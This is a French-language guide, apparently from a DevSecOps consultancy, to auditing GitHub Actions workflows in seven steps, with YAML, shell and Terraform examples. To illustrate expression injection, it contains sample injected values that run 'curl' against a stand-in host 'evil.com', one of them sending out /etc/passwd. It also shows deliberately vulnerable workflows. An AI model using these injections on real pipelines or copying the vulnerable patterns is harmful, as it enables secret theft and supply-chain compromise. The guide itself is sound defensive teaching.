Les GitHub Actions sont devenues le standard de facto pour la CI/CD open source. Plus de 90% des projets hébergés sur GitHub utilisent au moins un workflow. Mais cette adoption massive crée une surface d’attaque considérable : actions tierces non vérifiées, secrets exposés aux forks, injections de commandes via les expressions GitHub, permissions GITHUB_TOKEN excessives. En 2025-2026, les attaques supply chain ciblant les pipelines CI/CD ont explosé — l’incident tj-actions/changed-files de mars 2025 a compromis plus de 23 000 repositories en une seule nuit.
Ce guide présente une méthode systématique en 7 étapes pour auditer la sécurité de vos workflows GitHub Actions. Chaque étape inclut des exemples YAML concrets, des commandes reproductibles, et des recommandations actionnables. Que vous mainteniez 3 workflows ou 50, cette méthode s’applique.
Étape 1 : Inventorier toutes vos GitHub Actions et leurs permissions
La première étape de tout audit est l’inventaire. Vous devez savoir exactement quelles actions sont utilisées, par quels workflows, et avec quelles permissions. Un repository typique accumule des actions au fil du temps sans jamais les revoir — c’est la dette technique de la CI/CD.
Commencez par lister toutes les actions référencées dans vos fichiers workflow :
# Lister toutes les actions utilisées avec leur fréquence
grep -rh "uses:" .github/workflows/ | sort | uniq -c | sort -rn
# Résultat typique :
# 12 uses: actions/checkout@v4
# 8 uses: actions/setup-node@v4
# 5 uses: docker/build-push-action@v5
# 3 uses: some-random-org/untrusted-action@main # ALERTE !
# 1 uses: ./local-actionEnsuite, vérifiez les permissions déclarées au niveau workflow et au niveau job. Les workflows sans bloc permissions: héritent des permissions par défaut du repository — souvent write-all, ce qui est dangereux.
# Trouver les workflows sans permissions explicites
for f in .github/workflows/*.yml; do
if ! grep -q "^permissions:" "$f" && ! grep -q "^ permissions:" "$f"; then
echo "MISSING PERMISSIONS: $f"
fi
done
# Lister les permissions actuelles
grep -A5 "permissions:" .github/workflows/*.ymlCréez un tableur (ou un fichier SECURITY-INVENTORY.md) qui répertorie chaque action, son owner GitHub, sa dernière mise à jour, le nombre d’étoiles, et si le repository source a activé la 2FA et les commits signés. Les actions avec moins de 100 étoiles ou pas de mise à jour depuis 6 mois sont des signaux d’alerte.
Notre avis d’expert
L’inventaire est la base de tout. Sur les 240 repositories français que nous avons analysés, 34% utilisaient au moins une action d’un développeur individuel sans 2FA activée sur son compte GitHub. Un seul compte compromis suffit à injecter du code dans votre pipeline. Ne faites jamais confiance à une action que vous n’avez pas auditée — même si elle a 10 000 étoiles.
Étape 2 : Vérifier le pinning par SHA des actions tierces
C’est la vulnérabilité la plus répandue et la plus facile à corriger. Référencer une action par tag (comme @v4) signifie que votre workflow exécute le code pointé par ce tag au moment du run. Or les tags Git sont mutables — un mainteneur (ou un attaquant ayant compromis son compte) peut déplacer un tag vers un commit malveillant. L’attaque tj-actions/changed-files a exploité exactement ce vecteur.
# ❌ MAUVAIS - référence par tag mutable
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- uses: docker/build-push-action@v5
# ✅ BON - pinné par SHA (immuable)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
- uses: docker/build-push-action@4a13e500e55cf31b7a5d59a38ab2040ab0f42f56 # v5.1.0Le commentaire # v4.1.1 après le SHA est une convention de lisibilité — il permet aux humains de comprendre quelle version est pinnée sans avoir à résoudre le SHA manuellement.
Pour convertir automatiquement tous vos tags en SHA, utilisez l’outil pin-github-action :
# Installer pin-github-action
npm install -g pin-github-action
# Convertir automatiquement tous les tags en SHA
find .github/workflows -name "*.yml" -exec pin-github-action {} \;
# Vérifier le résultat
git diff .github/workflows/
# Alternative : utiliser Renovate pour le pinning automatique
# renovate.json :
{
"extends": ["helpers:pinGitHubActionDigests"]
}Règle d’or : toute action tierce (c’est-à-dire pas ./ local) doit être pinnée par SHA. Aucune exception. Les actions actions/* officielles incluses — GitHub n’est pas à l’abri d’un compromis de compte mainteneur.
Étape 3 : Auditer les secrets et variables d’environnement exposés
Les secrets GitHub sont protégés au repos, mais leur exposition en runtime dépend entièrement de la configuration du workflow. Trois scénarios critiques à vérifier :
1. Le GITHUB_TOKEN avec permissions excessives. Par défaut, le GITHUB_TOKEN peut avoir des permissions write sur contents, packages, issues, pull-requests. Définissez toujours les permissions minimales :
# ✅ Permissions minimales au niveau du workflow
permissions:
contents: read
pull-requests: write
# ✅ Encore mieux : permissions au niveau du job
jobs:
lint:
runs-on: ubuntu-latest
permissions:
contents: read
steps: [...]
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # Pour OIDC uniquement
steps: [...]2. Secrets accessibles depuis les forks. Les workflows déclenchés par pull_request depuis un fork n’ont pas accès aux secrets du repository — c’est une protection GitHub. Mais pull_request_target s’exécute dans le contexte du repository cible et a accès aux secrets. C’est le piège classique.
3. Secrets logés accidentellement. Vérifiez qu’aucun step ne fait echo ou printenv sur des variables contenant des secrets. GitHub masque les secrets connus dans les logs, mais les secrets dérivés (base64, substring) ne sont pas masqués.
# Chercher les patterns dangereux d'exposition de secrets
grep -rn "echo.*secrets\." .github/workflows/
grep -rn "printenv" .github/workflows/
grep -rn "toJSON(secrets)" .github/workflows/
# Utiliser les environments GitHub pour les secrets sensibles
jobs:
deploy-prod:
runs-on: ubuntu-latest
environment:
name: production
url: https://mon-app.fr
# Les secrets de l'environment "production" nécessitent
# une approbation manuelle par un reviewerÉtape 4 : Analyser les déclencheurs workflow_dispatch et pull_request_target
Certains déclencheurs (triggers) sont intrinsèquement plus dangereux que d’autres. pull_request_target est le plus risqué car il combine l’exécution dans le contexte du repository cible (avec ses secrets) et la possibilité de checkout du code du fork (non fiable).
# ❌ DANGEREUX - pull_request_target avec checkout du fork
# Un attaquant peut modifier le code exécuté tout en ayant accès aux secrets
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
with:
ref: ${{ github.event.pull_request.head.sha }} # CODE DU FORK !
- run: npm install # Exécute le package.json du fork avec les secrets du repo
- run: npm test
# ✅ SÉCURISÉ - séparer le checkout du code non fiable
on: pull_request_target
jobs:
label:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
# PAS de checkout du fork, uniquement des opérations sur l'API
- uses: actions/labeler@SHA
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}Pour workflow_dispatch, le risque est différent : ce trigger permet à quiconque avec les permissions write sur le repository de déclencher manuellement un workflow avec des paramètres arbitraires. Vérifiez que les inputs ne sont jamais utilisés directement dans des commandes run:.
# ❌ VULNÉRABLE - input utilisé directement dans run
on:
workflow_dispatch:
inputs:
branch:
description: 'Branch to deploy'
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- run: git checkout ${{ github.event.inputs.branch }}
# Un attaquant peut injecter : main; curl http://evil.com/steal.sh | sh
# ✅ SÉCURISÉ - utiliser une variable d'environnement
steps:
- run: git checkout "$BRANCH"
env:
BRANCH: ${{ github.event.inputs.branch }}Notre avis d’expert
Le pattern pull_request_target + checkout du fork est responsable de la majorité des compromissions de repositories open source en 2025-2026. Si vous avez absolument besoin de ce pattern (pour labeler, commenter, ou builder du code forké), isolez-le dans un job séparé sans accès aux secrets, et utilisez un workflow à deux étapes avec approbation manuelle entre les deux.
Étape 5 : Scanner les injections de commandes dans les expressions
Les injections d’expressions GitHub sont la vulnérabilité la plus sous-estimée des workflows. Le problème : les expressions ${{ }} sont interprétées avant l’exécution du shell. Si une expression contient des données contrôlées par un attaquant (titre de PR, nom de branche, message de commit), celui-ci peut injecter des commandes arbitraires.
# ❌ VULNÉRABLE - injection via titre de PR
# Si le titre de la PR est : "; curl http://evil.com/$(cat /etc/passwd) #
- name: Log PR title
run: echo "Processing PR: ${{ github.event.pull_request.title }}"
# Devient : echo "Processing PR: "; curl http://evil.com/$(cat /etc/passwd) #"
# ❌ VULNÉRABLE - injection via nom de branche
- run: echo "Branch: ${{ github.head_ref }}"
# ❌ VULNÉRABLE - injection via message de commit
- run: echo "Commit: ${{ github.event.head_commit.message }}"
# ✅ SÉCURISÉ - utiliser une variable d'environnement intermédiaire
- name: Log PR title safely
run: echo "Processing PR: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
# ✅ SÉCURISÉ - utiliser une action intermédiaire pour valider l'input
- name: Validate branch name
run: |
if [[ ! "$BRANCH" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
echo "Invalid branch name detected!"
exit 1
fi
env:
BRANCH: ${{ github.head_ref }}Les expressions dangereuses à chercher systématiquement dans vos workflows :
# Script d'audit : trouver toutes les expressions potentiellement injectables
grep -rn "run:" .github/workflows/ | while read -r line; do
file=$(echo "$line" | cut -d: -f1)
if echo "$line" | grep -qE '\$\{\{.*github\.event\.(pull_request\.(title|body|head\.ref)|head_commit\.message|issue\.(title|body)|comment\.body|review\.body)'; then
echo "⚠️ INJECTION RISK: $line"
fi
done
# Expressions contrôlées par l'attaquant (liste non exhaustive) :
# github.event.pull_request.title
# github.event.pull_request.body
# github.event.issue.title
# github.event.issue.body
# github.event.comment.body
# github.event.review.body
# github.event.head_commit.message
# github.head_ref
# github.event.workflow_dispatch.inputs.*L’outil zizmor automatise cette détection. Il analyse statiquement vos workflows et identifie les patterns d’injection avec un niveau de confiance élevé.
Étape 6 : Implémenter OIDC et les permissions minimales
Les secrets statiques (clés API AWS, tokens Docker Hub, credentials GCP) stockés dans les secrets GitHub sont un risque permanent : ils n’expirent pas automatiquement, sont accessibles à tous les workflows du repository, et leur rotation est souvent négligée. La solution : OIDC (OpenID Connect).
Avec OIDC, GitHub génère un token éphémère à chaque run de workflow. Ce token est échangé directement avec le cloud provider (AWS, GCP, Azure) sans jamais stocker de credentials permanents. Le token expire en 1 heure, est scopé au workflow spécifique, et ne peut pas être réutilisé.
# ✅ OIDC avec AWS - zéro secret statique
name: Deploy to AWS
on:
push:
branches: [main]
permissions:
id-token: write # Requis pour OIDC
contents: read # Minimum pour checkout
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
aws-region: eu-west-1
# Pas de aws-access-key-id ni aws-secret-access-key !
# Le token OIDC est échangé automatiquement
- run: aws s3 sync ./dist s3://mon-bucket-prod/Configuration côté AWS (Terraform) pour accepter les tokens OIDC de GitHub :
# Terraform - IAM OIDC Provider pour GitHub Actions
resource "aws_iam_openid_connect_provider" "github" {
url = "https://token.actions.githubusercontent.com"
client_id_list = ["sts.amazonaws.com"]
thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]
}
# Rôle IAM avec condition sur le repository et la branche
resource "aws_iam_role" "github_actions" {
name = "github-actions-deploy"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = { Federated = aws_iam_openid_connect_provider.github.arn }
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
"token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
}
StringLike = {
# Restreindre au repo ET à la branche main uniquement
"token.actions.githubusercontent.com:sub" = "repo:mon-org/mon-repo:ref:refs/heads/main"
}
}
}]
})
}L’approche est identique pour GCP (Workload Identity Federation) et Azure (Federated Credentials). Le principe reste le même : zéro secret statique, token éphémère, condition sur le repository et la branche.
Notre avis d’expert
L’adoption d’OIDC est la mesure à plus fort impact que vous puissiez prendre en 2026 pour sécuriser vos pipelines. Elle élimine une classe entière de vulnérabilités (rotation oubliée, secret leaké dans les logs, accès trop large). Sur les 240 repositories que nous avons audités, seuls 11% utilisaient OIDC — les 89% restants stockaient des credentials statiques AWS/GCP avec des permissions souvent administrateur. Migrez vers OIDC cette semaine, pas le mois prochain.
Étape 7 : Automatiser l’audit continu avec des outils open source
Un audit ponctuel ne sert à rien s’il n’est pas suivi d’un monitoring continu. Chaque nouveau workflow, chaque modification, chaque ajout d’action tierce doit être audité automatiquement. Voici un workflow complet qui combine les meilleurs outils open source :
# .github/workflows/actions-security-audit.yml
name: Audit Security - GitHub Actions
on:
schedule:
- cron: '0 8 * * 1' # Chaque lundi à 8h
pull_request:
paths: ['.github/workflows/**']
push:
paths: ['.github/workflows/**']
permissions:
contents: read
pull-requests: write
security-events: write
jobs:
zizmor-scan:
name: Analyse statique des workflows
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Install zizmor
run: |
curl -sSL https://github.com/woodruffw/zizmor/releases/latest/download/zizmor-x86_64-unknown-linux-gnu.tar.gz | tar xz
sudo mv zizmor /usr/local/bin/
- name: Run zizmor audit
run: |
zizmor --format sarif .github/workflows/ > results.sarif || true
zizmor .github/workflows/
continue-on-error: true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@SHA
with:
sarif_file: results.sarif
harden-runner:
name: Monitor runtime behavior
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit
# En mode audit d'abord, puis block une fois la baseline établie
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- run: npm ci && npm test
pin-check:
name: Vérifier le SHA pinning
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Check unpinned actions
run: |
UNPINNED=$(grep -rh "uses:" .github/workflows/ | grep -v "#" | grep -vE "@[a-f0-9]{40}" | grep -v "uses: ./" || true)
if [ -n "$UNPINNED" ]; then
echo "::error::Actions non pinnées détectées :"
echo "$UNPINNED"
exit 1
fi
echo "✅ Toutes les actions tierces sont pinnées par SHA"L’outil zizmor (créé par William Woodruff) est le plus complet pour l’analyse statique des workflows. Il détecte les injections, les permissions excessives, les actions non pinnées, les triggers dangereux, et génère des rapports SARIF intégrables directement dans l’onglet Security de GitHub.
step-security/harden-runner prend une approche différente : il monitore le comportement runtime de vos workflows. Il détecte les connexions réseau sortantes inattendues (exfiltration de secrets), les accès fichiers suspects, et peut bloquer les tentatives de communication avec des serveurs non autorisés.
# Configuration avancée harden-runner en mode block
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: block
allowed-endpoints: >
github.com:443
api.github.com:443
registry.npmjs.org:443
objects.githubusercontent.com:443
# Toute connexion vers un endpoint non listé sera BLOQUÉE
# Idéal une fois la baseline établie en mode auditRécapitulatif : checklist d’audit complète
Voici la checklist complète à suivre pour chaque repository. Copiez-la dans une issue GitHub et cochez chaque point au fur et à mesure :
## Checklist audit sécurité GitHub Actions
### Étape 1 - Inventaire
- [ ] Liste complète des actions tierces utilisées
- [ ] Vérification 2FA et activité des owners
- [ ] Documentation dans SECURITY-INVENTORY.md
### Étape 2 - SHA Pinning
- [ ] Toutes les actions tierces pinnées par SHA
- [ ] Commentaire version après chaque SHA
- [ ] Renovate/Dependabot configuré pour les updates
### Étape 3 - Secrets
- [ ] Permissions GITHUB_TOKEN minimales (read par défaut)
- [ ] Pas de secrets accessibles depuis pull_request_target
- [ ] Environments avec reviewers pour production
### Étape 4 - Triggers
- [ ] Pas de checkout fork dans pull_request_target
- [ ] Inputs workflow_dispatch validés (pas d'injection)
- [ ] schedule workflows avec permissions minimales
### Étape 5 - Injections
- [ ] Aucune expression ${{ }} dans run: avec données user
- [ ] Variables d'environnement pour toutes les données externes
- [ ] zizmor scan sans finding critique
### Étape 6 - OIDC
- [ ] OIDC configuré pour AWS/GCP/Azure
- [ ] Zéro secret statique de credentials cloud
- [ ] Conditions sur repository + branche dans le rôle IAM
### Étape 7 - Audit continu
- [ ] Workflow d'audit schedulé (hebdomadaire)
- [ ] zizmor en CI sur chaque PR modifiant .github/
- [ ] harden-runner en mode audit (puis block)Questions fréquentes
Pourquoi le SHA pinning est-il indispensable pour les GitHub Actions ?
Les tags Git (v4, v3) sont mutables : un mainteneur compromis peut pointer un tag existant vers un commit malveillant. Le SHA pinning référence un commit immuable. Sans SHA pinning, une action tierce peut être remplacée silencieusement par du code malveillant sans que votre workflow ne détecte le changement. L’incident tj-actions/changed-files de mars 2025 a démontré que ce vecteur est activement exploité.
Quels outils open source pour auditer automatiquement les GitHub Actions ?
Trois outils open source majeurs couvrent l’essentiel :
- zizmor : analyse statique complète des workflows. Détecte injections, permissions excessives, actions non pinnées, triggers dangereux. Génère du SARIF.
- step-security/harden-runner : monitoring runtime. Détecte les connexions réseau sortantes inattendues et peut bloquer l’exfiltration de données.
- pin-github-action : conversion automatique des tags en SHA. Intégrable dans un pre-commit hook.
Comment protéger ses secrets dans les workflows GitHub Actions ?
Quatre règles fondamentales :
- Ne jamais utiliser de secrets dans les workflows déclenchés par
pull_request_targetqui font un checkout du fork. - Définir des permissions GITHUB_TOKEN minimales au niveau du job (pas du workflow).
- Utiliser des environments avec reviewers pour les secrets de production.
- Préférer OIDC aux secrets statiques pour tous les accès cloud (AWS, GCP, Azure).
Combien de temps prend un audit complet des GitHub Actions ?
Pour un projet avec 5 à 15 workflows : comptez 2 à 4 heures pour le premier audit manuel complet en suivant les 7 étapes. Les corrections (SHA pinning, permissions, OIDC) prennent généralement 1 à 2 heures supplémentaires. Une fois l’audit automatisé avec zizmor et harden-runner en CI/CD, les audits suivants sont automatisés et prennent moins de 3 minutes par run. Le ROI est immédiat dès le deuxième audit.
Besoin d’un audit sécurité de vos workflows ?
Notre équipe DevSecOps audite vos GitHub Actions et implémente les 7 étapes de sécurisation. Premier audit gratuit sur votre repository principal.
Demander un audit gratuitArticles connexes
Sources
- GitHub Blog - Keeping your GitHub Actions and workflows secure
- zizmor - Static analysis for GitHub Actions workflows
- step-security/harden-runner - Runtime security for GitHub Actions
- GitHub Docs - Security hardening for GitHub Actions
- GitHub Docs - Using OpenID Connect with GitHub Actions
- Palo Alto - tj-actions/changed-files supply chain attack analysis (2025)
- GitHub Security Lab - Untrusted input in GitHub Actions